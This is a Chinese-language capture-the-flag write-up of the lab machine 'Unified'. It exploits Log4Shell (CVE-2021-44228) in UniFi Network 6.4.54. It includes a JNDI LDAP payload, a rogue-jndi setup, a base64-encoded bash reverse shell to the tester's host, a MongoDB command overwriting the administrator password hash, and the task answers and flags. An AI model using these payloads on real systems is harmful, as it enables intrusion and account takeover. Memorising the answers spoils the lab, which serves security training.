渗透测试学习day8

news2024/11/29 8:03:30

文章目录

    • 靶机:Unified
      • Task1
      • Task2
      • Task3
      • Task4
    • 5-14解题过程
      • Task5
      • Task6
      • Task7
      • Task8
      • Task9
      • Task10
      • Task11
      • Task12
      • Submit user flag
      • Submit root flag


靶机:Unified

Task1

问题:前四个开放端口是哪一个?

22,6789,8080,8443

nmap扫一下
在这里插入图片描述

Task2

问题:在端口8443上运行的软件的标题是什么?

UniFi Network

nmap重新扫一下

nmap -sV -v -sC -p 8443 --min-rate 1000 10.129.96.149

在这里插入图片描述

Task3

问题:正在运行的软件的版本是什么?

6.4.54

我们通过nmap扫描结果可以知道,8080端口有http服务
访问一下得到版本
在这里插入图片描述

Task4

问题:已识别漏洞的CVE是什么?

 CVE-2021-44228

去网上搜一下该版本的漏洞即可

5-14解题过程

搜出来存在log4j漏洞,我们抓包/api/login,构造语句
验证Log4j漏洞是否存在payload

{
    "username":"1",
    "password":"1",
    "remember":"${jndi:ldap://10.10.14.212/whatever}",
    "strict":true
}

在这里插入图片描述LDAP 轻量级目录访问协议,默认端口389,如果存在漏洞发送payload消息,会发送数据报文到本机389端
我们开个监听

sudo tcpdump -i tun0 port 389

注:tcpdump是wireshark的一个程序,可以进行拦截

在这里插入图片描述可以发现拦截成功,说明目标主机是通过37900端口来访问本机ldap端口
工具准备如下

准备工具:
openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
Maven
sudo apt-get install maven -y
编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
//这里要换成阿里云的源,不然下载速度很慢
mvn package  

在这里插入图片描述
然后准备反弹shell
在这里插入图片描述

执行以下命令

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTIvMTAyOCAwPiYxJw==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.212"

在这里插入图片描述然后开启监听,bp发送
在这里插入图片描述成功反弹shell
在这里插入图片描述
然后先找到user的flag
在这里插入图片描述

查看mongdb端口情况

ps aux | grep mongo

查询结果中的bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 是正在运行的命令或可执行文件的路径和参数,说明端口为27117

在这里插入图片描述

尝试读取管理员密码,UniFi程序的默认数据库ace,查询admin表的数据

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

注:参数–eval

发现administrator的账户信息以及密码的加密信息
在这里插入图片描述x_shadow即是密码哈希, SHA-512 算法使用一个以 6 6 6 开头的 16 字符字符串盐值进行散列

以$6$开头的,表明是用SHA-512加密的;
以$1$开头的,表明是用MD5加密的;
以$2$开头的,表明是用Blowfish加密的;
以$5$开头的,表明是用 SHA-256加密的。星号代表帐号被锁定

ps:是在linux shadow文件才这么表示

当然可以直接用工具hashid解密一下加密方式,发现是sha512
在这里插入图片描述由于是散列函数,无法破解,只能使用替换方法
替换mongdb中的administrator的密钥,如下加密admin
在这里插入图片描述利用nosql的语法,update以下

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$jaYBW0iCZNXzIuZk$FtGH/we0.hTsf63jTv6fh3sgcPP/J0uIXKXp0ADNWelcqW0ykcTiwnkvI.YePmnRpYMKZ24cqsSCxxg2RtBBs1"}})'

在这里插入图片描述
然后可以自己再看看会发现,已经把密钥改为我们设置的admin的
我们直接登录,在设置发现允许ssh连接并且知道root密码
在这里插入图片描述
ssh连接成功
在这里插入图片描述
继续得到root的flag
在这里插入图片描述

Task5

问题:JNDI在注入中利用了什么协议?

ldap

Task6

问题:我们使用什么工具来拦截流量,表明攻击成功?

tcpdump

Task7

问题:我们需要在哪个端口去拦截流量传输?

389

Task8

问题:MongoDB服务运行在哪个端口上?

27117

Task9

问题: UniFi应用程序的默认数据库名称是什么?

ace

Task10

问题:在MongoDB中,我们用来枚举数据库中的用户的功能是什么?

db.admin.find()

Task11

问题:在MongoDB中,我们用来更新数据库中的用户的功能是什么?

db.admin.update()

Task12

问题:root的密码

NotACrackablePassword4U2022

Submit user flag

6ced1a6a89e666c0620cdb10262ba127

Submit root flag

e50bc93c75b634e4b272d2f771c33681

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1291033.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能井盖传感器产品介绍,井盖传感器生产厂家

智能井盖传感器是一种利用先进科技手段实时监测井盖状态的现代化设备,具有高效、可靠的特点,可大大提高城市管理的效率和水平。通过数据分析技术智能井盖传感器能够整理和分析井盖位移的历史数据,为管理人员提供科学决策依据,以更…

2023年山东省职业院校技能大赛信息安全管理与评估第一阶段样题

2023年山东省职业院校技能大赛信息安全管理与评估样题 竞赛需要完成三个阶段的任务,分别完成三个模块,总分共计 1000 分。三个模块内容和分值分别是: \1. 第一阶段:模块一 网络平台搭建与设备安全防护(240 分钟&…

mysql5.7安装详细教程

文章目录 1 引言1.1 现有的数据存储方式有哪些?1.2 以上存储方式存在哪些缺点? 2 数据库2.1 概念2.2 数据库的分类 3 数据库管理系统3.1 概念3.2 常见数据库管理系统 4 MySQL4.1 简介4.2 访问与下载4.3 安装4.3.1 解压缩到非中文目录4.3.2 编写配置文件4…

字节开源的netPoll底层LinkBuffer设计与实现

字节开源的netPoll底层LinkBuffer设计与实现 为什么需要LinkBuffer介绍设计思路数据结构LinkBufferNodeAPI LinkBuffer读 API写 APIbook / bookAck api 小结 本文基于字节开源的NetPoll版本进行讲解,对应官方文档链接为: Netpoll对应官方文档链接 netPoll底层有一个…

Python实现FA萤火虫优化算法优化LightGBM回归模型(LGBMRegressor算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 萤火虫算法(Fire-fly algorithm,FA)由剑桥大学Yang于2009年提出 , …

zabbix的自动发现机制,代理功能,SNMP监控

1.zabbix自动发现机制 zabbix客户端主动和服务端联系,将自己的地址和端口发送服务端,实现自动添加监控主机 客户端是主动的一方。 缺点:自定义网段中主机数量太多,登记耗时会很久,而且这个自动发现机制不是很稳定 …

SpringMvc入坑系列(一)----maven插件启动tomcat

springboot傻瓜式教程用久了,回过来研究下SSM的工作流程,当然从Spring MVC开始,从傻瓜式入门处理请求和页面交互,再到后面深入源码分析。 本人写了一年多的后端和半年多的前端了。用的都是springbioot和vue,源码一直来…

论文阅读[2023ICME]Edge-FVV: Free Viewpoint Video Streaming by Learning at the Edge

Edge-FVV: Free Viewpoint Video Streaming by Learning at the Edge 会议信息: Published in: 2023 IEEE International Conference on Multimedia and Expo (ICME) 作者: 1 背景 FVV允许观众从多个角度观看视频,但是如果所选视点的视频…

基于单片机出租车计价器控制系统

**单片机设计介绍,基于单片机出租车计价器控制系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的出租车计价器控制系统是一个用于控制和管理出租车费用计算的电子设备。下面是一个简单的系统设计介绍&…

识别低效io引起的free buffer waits

产生事发时间段的awr报告 Top 5 wait events 这里重点关注: 1.free buffer waits 2.enq_HW-contention 3.enq:tx-row lock contention enq:HW-contention属于水位线的争用,已经透过alter table allocate extent,提前分配空间,这里不做讨论 …

数据结构 | 查漏补缺之哈希表、最短路径、二叉树与森林的转换

哈希表是什么? 或者说 设图采用邻接表的存储结构,写对图的删除顶点和删除边的算法步骤 删除边 删除点 最短路径问题 参考博文 迪杰斯特拉(Dijkstra)算法_dijkstra算法-CSDN博客 判断一个有向图是否有环(回路)可以用下列哪些办法…

金鸣表格文字识别大师扫描仪使用技巧

所需硬件:PC(电脑)、扫描仪 所需软件:金鸣表格文字识别大师5.0以上版本(以下简称“本软件”) 实现功能:直接用扫描仪扫描图片并将其转换为可编辑的excel或word. 实现原理:本软件利…

Linux socket编程(12):Unix套接字之socketpair、sendmsg和recvmsg详解

在上一篇文章Unix套接字编程及通信例子中,我们对Unix套接字编程有一个基本的了解。但在Unix套接字编程的领域中,有一组特殊而强大的工具:socketpair、sendmsg 和 recvmsg,它们为实现本地进程间通信提供了便捷的方式。 文章目录 1 …

java学习part39map

159-集合框架-Map不同实现类的对比与HashMap中元素的特点_哔哩哔哩_bilibili 1.Map 2.Entry 个人理解是c的pair,代表一个键值对。Map就是entry的叠加 3.常用方法 4.TreeMap 5.Properties

二叉搜索树——模拟

对于一个无穷的满二叉排序树(如图),节点的编号是1,2,3,…。对于一棵树根为X的子树,沿着左节点一直往下到最后一层,可以获得该子树编号最小的节点;沿着右节点一直往下到最后一层,可以…

第十六届山东省职业院校技能大赛中职组网络安全赛项竞赛正式试题

第十六届山东省职业院校技能大赛中职组网络安全"赛项竞赛试题 一、竞赛时间 总计:360分钟 二、竞赛阶段 竞赛阶段任务阶段竞赛任务竞赛时间分值A、B模块A-1登录安全加固180分钟200分A-2本地安全策略设置A-3流量完整性保护A-4事件监控A-5服务加固A-6防火墙策…

企业微信开启调试模式

1.关闭企业微信,重新启动 2.启动后按快捷键 ctrlaltshiftD进入调试模式 3.在需要调试的页面点击右键,点击"ShowDevTools",进入调试模式 企业微信 为企业打造的专业办公管理工具;企业微信开放生态平台;企业微…

UniApp H5 跨域代理配置并使用(配置manifest.json、vue.config.js)

UniApp 运行到浏览器的时候,接口会跨域报错,这里通过两种方式解决,第一:修改Uniapp自带的manifest.json 源码视图并进行配置h5设置。第二:在项目根目录新建vue.config.js并配置代理。 二选一即可。 修改或调整配置文件…

QT 中基于 TCP 的网络通信 (备查)

基础 基于 TCP 的套接字通信需要用到两个类: 1)QTcpServer:服务器类,用于监听客户端连接以及和客户端建立连接。 2)QTcpSocket:通信的套接字类,客户端、服务器端都需要使用。 这两个套接字通信类…

记一次mq消息没有收到的问题排查

快速定位和修复问题是程序员的一项基本功,而只有把问题定位准确,才能有针对性的修复。在程序的世界里,神马都是数据。当数据没有按照预期从源头到达目的地,那一定是中间的某个环节出了问题。搞清楚整个链路的模型(包括…